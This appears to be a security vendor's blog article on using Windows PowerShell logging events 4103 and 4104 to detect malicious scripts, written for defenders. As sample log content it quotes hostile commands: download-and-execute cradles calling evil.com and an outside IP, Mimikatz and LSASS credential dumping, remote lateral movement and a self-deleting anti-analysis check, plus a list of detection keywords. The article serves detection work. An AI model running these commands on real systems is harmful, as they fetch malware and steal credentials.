Tools

Event ID 4104/4103: Catch Malicious PowerShell Scripts

Published  ·  4 min read

Event ID 4103 (Module Logging) and 4104 (Script Block Logging) are two of the most valuable Windows security events for detecting malicious PowerShell activity. When enabled correctly, they give you the actual commands and scripts that ran, not just the process name, so you can see exactly what the attacker typed or executed.

These logs are essential in 2025–2026 because almost every ransomware, infostealer, and post-exploitation framework still heavily relies on PowerShell (living-off-the-land).

A Clear Distinction Between 4103 and 4104
4104 – Script Block Logging Collects and logs the complete text of all PowerShell script blocks executed through console commands (inline entries, downloaded scripts, one-liners). Usually, this is the log you will be looking for since it records everything executed.

4103 – Module Logging Is used to log detailed executing data as it executes pipelines within PowerShell modules including invocation of cmdlets, giving parameters for that cmdlet, and returning pipeline object output from the cmdlets that executed. Very verbose , usually only enabled when you already suspect something and need deep forensics.

How to Enable Them (Do This Once via GPO or Local Policy)
Recommended minimum (do both):
Group Policy (domain-wide): Computer Configuration → Policies → Administrative Templates → Windows Components → Windows PowerShell
1. Activate 'Enable PowerShell Script Block Logging' → enabled → Log script block invocation start/stop events - optional but helpful (Enabled) 
2. Enable PowerShell Module Logging' → Enabled → Module Names: * (log everything) Optionally, use dangerous modules: Microsoft.PowerShell.*, Microsoft.PowerShell.Management, etc.

Local policy (single machine): Run gpedit.msc → same path as above.
After enabling → restart PowerShell sessions or reboot for full effect.
Logs appear in: Event Viewer → Applications and Services Logs → Microsoft → Windows → PowerShell → Operational

Practical Examples of What You See in Real Attacks
Example 1 – Classic Download Cradle (Infostealer / Ransomware Stage 1) 4104 event shows:
ScriptBlock Text:
IEX (New-Object Net.WebClient).DownloadString('http://evil.com/payload.ps1')
Followed by another block executing the downloaded script → usually Lumma, RedLine, or LockBit loader.

Example 2 – Obfuscated One-Liner (Common in 2025 campaigns)
ScriptBlock Text:
powershell -nop -w hidden -ep bypass -c "I'+'Ex((New-Object Net.WebClient).DownloadString('hxxps://pastebin[.]com/raw/abc123'))"
4104 captures the de-obfuscated version if AMSI is bypassed → full URL and execution visible.

Example 3 – Credential Dumping via Invoke-Mimikatz
ScriptBlock Text:
Invoke-Mimikatz -DumpCreds

Or more stealthy:
ScriptBlock Text:
[Reflection.Assembly]::LoadFile('C:\temp\mimikatz.dll'); Invoke-Mimikatz
4104 logs the exact command → huge red flag.

Example 4 – Living-off-the-Land Lateral Movement
ScriptBlock Text:
Invoke-Command -ComputerName dc01 -ScriptBlock { whoami; net group "Domain Admins" }
Shows attacker pivoting inside the domain.

Example 5 – Anti-Analysis / Self-Delete
ScriptBlock Text:
if (Get-Process -Name wireshark) { exit }; Remove-Item $PSCommandPath -Force
4104 captures the check → tells you the malware knew it was being watched.

Real Attack Scenarios Where 4104/4103 Caught the Bad Guys
1. Ransomware Initial Foothold (2025 LockBit affiliate) Phishing → malicious macro → PowerShell cradle downloads stealer. 4104 logged: IEX (New-Object Net.WebClient).DownloadString('hxxp://45.32.1.100/stage2.ps1') → Defender blocked the download, but the log showed the exact C2 URL.

2. BEC Followed by Credential Theft Attacker phishes creds → logs in → runs PowerShell to dump LSASS. 4104 captured: procdump.exe -ma lsass.exe C:\temp\dump.dmp → IR team saw the exact command and contained before exfiltration.

3. Living-off-the-Land Lateral Movement Attacker uses stolen creds → runs: Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "powershell -c IEX ..." -ComputerName srv02 4104 on srv02 logged the full remote PowerShell execution.

Quick Practical Tips
1. Enable 4104 everywhere (it’s low overhead with modern hardware).
2. Enable 4103 selectively on critical servers if you need deep pipeline visibility.
3. Forward logs to SIEM → alert on:
a) IEX / Invoke-Expression
b) DownloadString / Net.WebClient
c) Invoke-Mimikatz / procdump / rundll32 suspicious patterns
d) High volume of script blocks from non-admin users

4. Use Sysmon + 4104 together — Sysmon gives process ancestry, 4104 gives the actual script text.

Script block logging is one of the best free detections you get from Windows. Turn it on, forward the logs, and suddenly you can see exactly what the attacker typed, even when they try to hide behind encoded commands or downloaded scripts.

Professional Services

Explore Our Cybersecurity Services

Our insights are backed by hands-on service delivery. If your business needs professional cybersecurity support, our UK-based specialists are ready to help.

© 2016 – 2026 Red Secure Tech Ltd. Registered in England and Wales — Company No: 15581067